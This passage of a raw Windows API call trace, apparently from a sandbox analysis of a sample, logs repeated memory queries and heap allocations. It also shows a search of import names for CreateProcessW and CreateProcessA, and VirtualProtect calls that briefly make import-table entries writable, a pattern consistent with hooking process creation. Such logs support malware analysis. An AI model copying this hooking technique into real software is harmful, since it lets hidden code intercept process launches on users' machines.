dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76c00000, AllocationBase=0x76c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.496] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.496] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e720 [0064.496] VirtualProtect (in: lpAddress=0x76c10408, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.496] VirtualProtect (in: lpAddress=0x76c10408, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.496] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.497] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76850000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76850000, AllocationBase=0x76850000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.497] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.497] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.497] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754d0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x754d0000, AllocationBase=0x754d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.497] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.497] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.497] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x757f0000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.497] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.497] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.497] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d00000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x76d00000, AllocationBase=0x76d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.497] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.497] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.498] lstrcmpiA (lpString1="WNetGetResourceInformationA", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="WNetGetResourceInformationW", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="CreateFormatEnumerator", lpString2="CreateProcessW") returned -1 [0064.498] lstrcmpiA (lpString1="RegisterFormatEnumerator", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHCreateItemFromIDList", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHGetDesktopFolder", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHGetDataFromIDListW", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHGetInstanceExplorer", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHEvaluateSystemCommandTemplate", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="ShellExecuteExW", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHParseDisplayName", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHBindToParent", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="SHChangeNotify", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadPOINTS", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WritePOINTS", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadRECTL", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WriteRECTL", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadStream", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WriteStream", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadUnknown", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WriteUnknown", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_Delete", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadGUID", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WriteGUID", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadPropertyKey", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WritePropertyKey", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSGetPropertyKeyFromName", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="InitPropVariantFromStringAsVector", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WritePOINTL", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PropVariantToStringAlloc", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSGetPropertyDescription", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PropVariantChangeType", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="VariantToPropVariant", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PropVariantToVariant", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_ReadPOINTL", lpString2="CreateProcessW") returned 1 [0064.498] lstrcmpiA (lpString1="PSPropertyBag_WriteBOOL", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadBOOL", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteULONGLONG", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadULONGLONG", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteDWORD", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadDWORD", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteLONG", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadLONG", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteSHORT", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadSHORT", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteInt", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadInt", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteBSTR", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_WriteStr", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadStrAlloc", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadStr", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadBSTR", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSPropertyBag_ReadType", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PropVariantToBSTR", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="PSCreateMemoryPropertyStore", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0064.499] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0064.499] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="SaferiIsExecutableFileType", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="GetCurrentHwProfileW", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="SaferiSearchMatchingHashRules", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="OpenThreadToken", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="RegSetValueW", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="GetUserNameW", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="RegEnumKeyA", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessW") returned -1 [0064.499] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessW") returned -1 [0064.499] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessW") returned 1 [0064.499] lstrcmpiA (lpString1="CoCreateInstance", lpString2="CreateProcessW") returned -1 [0064.499] lstrcmpiA (lpString1="CoTaskMemFree", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CoUninitialize", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CreateBindCtx", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="PropVariantClear", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CoGetMalloc", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CoTaskMemAlloc", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CoInitializeEx", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="OleInitialize", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="OleUninitialize", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CLSIDFromString", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CLSIDFromProgID", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CoWaitForMultipleHandles", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="ApphelpCheckShellObject", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertGetNameStringW", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertFindCertificateInStore", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertCloseStore", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertOpenStore", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertGetEnhancedKeyUsage", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertOIDToAlgId", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertDuplicateCertificateContext", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertFreeCertificateContext", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CertVerifyCertificateChainPolicy", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CryptDecodeObject", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CertGetCertificateContextProperty", lpString2="CreateProcessW") returned -1 [0064.500] lstrcmpiA (lpString1="CryptCATAdminAcquireContext", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CryptCATAdminReleaseContext", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="WinVerifyTrust", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CryptCATAdminEnumCatalogFromHash", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CryptCATCatalogInfoFromContext", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CryptCATAdminReleaseCatalogContext", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="WTHelperGetFileHash", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="CryptCATAdminCalcHashFromFileHandle", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="WTHelperProvDataFromStateData", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="WTHelperGetProvSignerFromChain", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="SetupDiDestroyDeviceInfoList", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="SetupDiGetDeviceInterfaceDetailW", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="SetupDiEnumDeviceInterfaces", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="SetupDiGetClassDevsW", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="ExpandEnvironmentStringsForUserW", lpString2="CreateProcessW") returned 1 [0064.500] lstrcmpiA (lpString1="ExpandEnvironmentStringsForUserA", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="GetFileVersionInfoSizeA", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="VerQueryValueA", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="VerQueryValueW", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="GetFileVersionInfoW", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="GetFileVersionInfoA", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="GetFileVersionInfoByHandle", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="GetFileVersionInfoSizeW", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="SLGetWindowsInformationDWORD", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="NetGetJoinInformation", lpString2="CreateProcessW") returned 1 [0064.501] lstrcmpiA (lpString1="NetApiBufferFree", lpString2="CreateProcessW") returned 1 [0064.501] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278e758 | out: hHeap=0x2390000) returned 1 [0064.501] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.501] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="InterlockedIncrement", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="IsWow64Process", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0064.501] lstrcmpiA (lpString1="GetModuleHandleExA", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="InterlockedDecrement", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="MulDiv", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="LCIDToLocaleName", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetProcessHeap", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="InterlockedExchange", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessA") returned 1 [0064.501] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="LockFileEx", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="UnlockFileEx", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="SetFileInformationByHandle", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="ReplaceFileW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetVolumeInformationByHandleW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="SetFilePointer", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="LocalSize", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0064.502] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="ReleaseSRWLockShared", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0064.502] lstrcmpiA (lpString1="GetPrivateProfileStringA", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="FormatMessageW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessA") returned 1 [0064.502] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0064.502] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0064.503] lstrcmpiA (lpString1="InitializeSRWLock", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="LoadLibraryA", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="LocalReAlloc", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="DeviceIoControl", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0064.503] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="SetFileAttributesW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0064.503] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="SearchPathW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="lstrcmpW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="lstrcmpiW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0064.503] lstrcmpiA (lpString1="GetEnvironmentVariableA", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0064.503] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="LCMapStringA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="SetFileAttributesA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0064.504] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="FreeLibrary", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="InterlockedCompareExchange", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="GetCPInfo", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="GetFileAttributesA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="SetErrorMode", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="lstrcmpiA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="lstrcmpA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="GetFullPathNameA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="SearchPathA", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessA") returned 1 [0064.504] lstrcmpiA (lpString1="FindNextFileA", lpString2="CreateProcessA") returned 1 [0064.504] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75890000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x75890000, AllocationBase=0x75890000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.504] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.504] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e758 [0064.505] VirtualProtect (in: lpAddress=0x758913dc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x20) returned 1 [0064.505] VirtualProtect (in: lpAddress=0x758913dc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fce4 | out: lpflOldProtect=0x26fce4*=0x40) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e790 [0064.507] VirtualProtect (in: 